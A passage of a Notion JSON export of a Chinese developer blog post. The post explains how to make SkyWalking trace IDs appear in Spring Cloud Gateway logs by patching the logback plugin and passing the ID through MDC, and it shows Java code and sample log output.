}\n}"]],"language":[["Java"]]},"created_time":1705772766956,"last_edited_time":1705772779000,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"66932228-ed81-493f-ad40-f0cfa8a859d9":{"value":{"id":"66932228-ed81-493f-ad40-f0cfa8a859d9","type":"text","properties":{"title":[["观察代码无非就是skyWalkingContext.getTraceId()和ContextManager.xx输出的N/A。"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774181223,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"30bbe270-0897-4876-b780-500241acd206":{"value":{"id":"30bbe270-0897-4876-b780-500241acd206","type":"text","properties":{"title":[["Reator模式又有点陌生,无从下手。无意间从另外一篇博客中发现,其实exchange中是有这个tid的"]]},"created_time":1705772865632,"last_edited_time":1705773455696,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"a70ffef7-587f-481e-b2ef-c8635aa19049":{"value":{"id":"a70ffef7-587f-481e-b2ef-c8635aa19049","type":"image","properties":{"size":[["130.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/df0f3803-b946-4f27-8edd-749909bb63b2/Untitled.png"]]},"format":{"block_width":1408,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/df0f3803-b946-4f27-8edd-749909bb63b2/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5085227272727273,"block_preserve_scale":true},"created_time":1705773457212,"last_edited_time":1705773460698,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"file_ids":["df0f3803-b946-4f27-8edd-749909bb63b2"]}},"754bfdec-4110-434d-855b-a46fd419c980":{"value":{"id":"754bfdec-4110-434d-855b-a46fd419c980","type":"sub_header","properties":{"title":[["曲线救国"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705773519140,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"4efa436d-f550-4eda-ac48-8e6d733d8753":{"value":{"id":"4efa436d-f550-4eda-ac48-8e6d733d8753","type":"text","properties":{"title":[["gateway也就拦截器打印点日志,要不然就是exceptionHandler中打印。我要不然直接把这个值传给skywalking-logback插件就完了嘛。拿什么传呢,对的,使用MDC来传,同一个线程都可以传,并且改动最小。直接修改插件中PrintTraceIdInterceptor的源码如下,然后直接打包这个8.7的skywalking-logback插件替换掉原本apm-toolkit-logback-1.x-activation-9.0.0.jar插件(完全可用)"]]},"created_time":1705773519693,"last_edited_time":1705774253575,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0d416ba8-81ec-4468-abaa-3458beed1f20":{"value":{"id":"0d416ba8-81ec-4468-abaa-3458beed1f20","type":"code","properties":{"title":[["@Override\n    public Object afterMethod(EnhancedInstance objInst, Method method, Object[] allArguments, Class\u003c?\u003e[] argumentsTypes,\n        Object ret) throws Throwable {\n\n        String result;\n\n        if (!ContextManager.isActive()) {\n            if (allArguments[0] instanceof EnhancedInstance) {\n                SkyWalkingContext skyWalkingContext = (SkyWalkingContext) ((EnhancedInstance) allArguments[0]).getSkyWalkingDynamicField();\n                if (skyWalkingContext != null) {\n                    result = \"TID:\" + skyWalkingContext.getTraceId();\n                    return result;\n                } else {\n                    String tid = MDC.get(\"tid\");\n                    if (tid != null) {\n                        return \"TID:\" + tid;\n                    }\n                }\n            }\n        }\n        return \"TID:\" + ContextManager.getGlobalTraceId();\n    }"]],"language":[["Java"]]},"created_time":1705773670104,"last_edited_time":1705773704326,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"5df9de5c-e418-4045-ad9b-5003dbc43a99":{"value":{"id":"5df9de5c-e418-4045-ad9b-5003dbc43a99","type":"text","properties":{"title":[["然后再搞一个工具类"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705773795354,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"c9f62dfd-e97e-45d1-afcf-f286342cbce3":{"value":{"id":"c9f62dfd-e97e-45d1-afcf-f286342cbce3","type":"code","properties":{"title":[["\n@Slf4j\npublic class SkywalkingUtil {\n\n    /**\n     * tid放入MDC\n     *\n     * @param exchange\n     */\n    public static void putTidIntoMdc(ServerWebExchange exchange) {\n        try {\n            Object entrySpanInstance = exchange.getAttributes().get(\"SKYWALKING_SPAN\");\n            if (ObjectUtil.isEmpty(entrySpanInstance)) {\n                return;\n            }\n            Class\u003c?\u003e entrySpanClazz = entrySpanInstance.getClass().getSuperclass().getSuperclass();\n            Field field = entrySpanClazz.getDeclaredField(\"owner\");\n            field.setAccessible(true);\n            Object ownerInstance = field.get(entrySpanInstance);\n            Class\u003c?\u003e ownerClazz = ownerInstance.getClass();\n            Method getTraceId = ownerClazz.getMethod(\"getReadablePrimaryTraceId\");\n            String traceId = (String) getTraceId.invoke(ownerInstance);\n            MDC.put(\"tid\", traceId);\n        } catch (Exception e) {\n            log.error(\"gateway追踪码获取失败\", e);\n        }\n    }\n\n}"]],"language":[["Java"]]},"created_time":1705773802256,"last_edited_time":1705773805881,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"eaafbb80-be83-4ef3-92b1-1df503ffe4f0":{"value":{"id":"eaafbb80-be83-4ef3-92b1-1df503ffe4f0","type":"text","properties":{"title":[["然后在gateway拦截器日志打印的地方加上以下代码,但是请求开始和请求结束是两个不同的线程啊,无法使用MDC来传递,架不住打印日志的地方都使用的一个exchange,当然为了保险你可以在每一个gatway模块的log之前加上以下语句"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774074463,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"e7c407ce-c395-47c7-a594-0955b82cdb60":{"value":{"id":"e7c407ce-c395-47c7-a594-0955b82cdb60","type":"code","properties":{"title":[["\n//打印开始日志的地方\nSkywalkingUtil.putTidIntoMdc(exchange);\n\n......\n\n//打印结束日志的地方\nSkywalkingUtil.putTidIntoMdc(exchange);"]],"language":[["Java"]]},"created_time":1705773848678,"last_edited_time":1705774038441,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"819553b3-aee8-4c8e-ba69-0120fe69cbd4":{"value":{"id":"819553b3-aee8-4c8e-ba69-0120fe69cbd4","type":"sub_header","properties":{"title":[["验证"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774081623,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"2da2c502-dcea-4989-b497-12bc4a5cf52b":{"value":{"id":"2da2c502-dcea-4989-b497-12bc4a5cf52b","type":"text","properties":{"title":[["gateway日志"]]},"created_time":1705774361544,"last_edited_time":1705774361702,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"e7cc9331-e6d1-4a9c-b328-cd8b4b87e032":{"value":{"id":"e7cc9331-e6d1-4a9c-b328-cd8b4b87e032","type":"code","properties":{"title":[["[TID:xx.17057741377320011] [reactor-http-nio-2] ApiLogFilter:77 - 请求开始:\n\n方法:GET\nHost:localhost\nip:null\n请求接口:/user/user/pet/test/testSkywalking\n\n[TID:xx.17057741377320011] [reactor-http-nio-2] ApiLogFilter:81 - 请求头:\n\n{\"Host\":[\"localhost:9999\"]}\n\n[TID:xx.17057741377320011] [reactor-http-nio-7] ApiLogFilter:101 - 请求结束信息:\n\n响应状态码:200\n请求耗时:25ms\n\n[TID:xx.17057741377320011] [reactor-http-nio-7] ApiLogFilter:111 - 请求结束返回: \n\n{\"code\":0,\"message\":null,\"data\":\"1\",\"success\":true,\"timestamp\":1}"]],"language":[["Java"]]},"created_time":1705774157283,"last_edited_time":1705776557559,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0e05852c-3ee2-4087-a126-3de4e0942a19":{"value":{"id":"0e05852c-3ee2-4087-a126-3de4e0942a19","type":"text","properties":{"title":[["user日志"]]},"created_time":1705774370401,"last_edited_time":1705774374674,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"39cdd25c-bec1-4319-86b7-2b3db77e107a":{"value":{"id":"39cdd25c-bec1-4319-86b7-2b3db77e107a","type":"code","properties":{"title":[["[TID:xx.17057741377320011] [XNIO-1 task-1] TestController:54 - user-testSkywalking"]],"language":[["Java"]]},"created_time":1705774161119,"last_edited_time":1705774314220,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"19073c4d-640d-4621-9e5c-56a99d0255dc":{"value":{"id":"19073c4d-640d-4621-9e5c-56a99d0255dc","type":"text","properties":{"title":[["确实可用,完美解决"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774393126,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"65fc421b-dc9a-4a4c-b3b1-739e002e5d8d":{"value":{"id":"65fc421b-dc9a-4a4c-b3b1-739e002e5d8d","type":"header","properties":{"title":[["总结"]]},"created_time":1705774393415,"last_edited_time":1705774396717,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"fc0bc607-3ddb-47e6-879b-5229ae258f71":{"value":{"id":"fc0bc607-3ddb-47e6-879b-5229ae258f71","type":"bulleted_list","properties":{"title":[["就是把apm-toolkit-logback-1.x-activation插件改了点代码替换掉"]]},"created_time":1705774415784,"last_edited_time":1705774444503,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"f0568091-07d1-43b3-9a52-11cd0d74650d":{"value":{"id":"f0568091-07d1-43b3-9a52-11cd0d74650d","type":"bulleted_list","properties":{"title":[["然后在gatway模块的日志前面用MDC传了点值进到插件里面"]]},"created_time":1705774444819,"last_edited_time":1705774476384,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"31887616-fe32-43df-97c9-f850a7201f22":{"value":{"id":"31887616-fe32-43df-97c9-f850a7201f22","type":"bulleted_list","properties":{"title":[["相当取巧,因为gatway也没啥日志"]]},"created_time":1705774489583,"last_edited_time":1705774517420,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"065453d6-fec4-45d0-a4a6-8ddd1d07b18c":{"value":{"id":"065453d6-fec4-45d0-a4a6-8ddd1d07b18c","type":"bulleted_list","properties":{"title":[["目前看来没什么问题"]]},"created_time":1705774476680,"last_edited_time":1705774523959,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"19e3bbae-2412-427b-b58b-07013f336d4e":{"value":{"id":"19e3bbae-2412-427b-b58b-07013f336d4e","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"2fb486a5-74f6-4bcf-bf78-3f7142f7c121":{"value":{"id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","type":"column_list","content":["e9db490b-9be9-4524-ac7f-9c3bf6f28f3d","e4bbc214-298b-4a2d-9269-99ef87b4e872","2822cf85-e741-4a15-913d-5905a02e0cd0"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"e9db490b-9be9-4524-ac7f-9c3bf6f28f3d":{"value":{"id":"e9db490b-9be9-4524-ac7f-9c3bf6f28f3d","type":"column","content":["749d46cc-a88a-4a77-b6d8-d3a95fb2d652"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"e4bbc214-298b-4a2d-9269-99ef87b4e872":{"value":{"id":"e4bbc214-298b-4a2d-9269-99ef87b4e872","type":"column","content":["cb6641a2-dc67-4250-a68f-06f20d4e5856","53f55fce-85fc-42d2-b4d9-16cbbec3544a"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"2822cf85-e741-4a15-913d-5905a02e0cd0":{"value":{"id":"2822cf85-e741-4a15-913d-5905a02e0cd0","type":"column","content":["1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"749d46cc-a88a-4a77-b6d8-d3a95fb2d652":{"value":{"id":"749d46cc-a88a-4a77-b6d8-d3a95fb2d652","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"e9db490b-9be9-4524-ac7f-9c3bf6f28f3d","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"cb6641a2-dc67-4250-a68f-06f20d4e5856":{"value":{"id":"cb6641a2-dc67-4250-a68f-06f20d4e5856","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"e4bbc214-298b-4a2d-9269-99ef87b4e872","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2":{"value":{"id":"1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"2822cf85-e741-4a15-913d-5905a02e0cd0","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"53f55fce-85fc-42d2-b4d9-16cbbec3544a":{"value":{"id":"53f55fce-85fc-42d2-b4d9-16cbbec3544a","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"e4bbc214-298b-4a2d-9269-99ef87b4e872","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"80ee939b-8833-4392-a7e3-5687659406c1":{"value":{"id":"80ee939b-8833-4392-a7e3-5687659406c1","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a272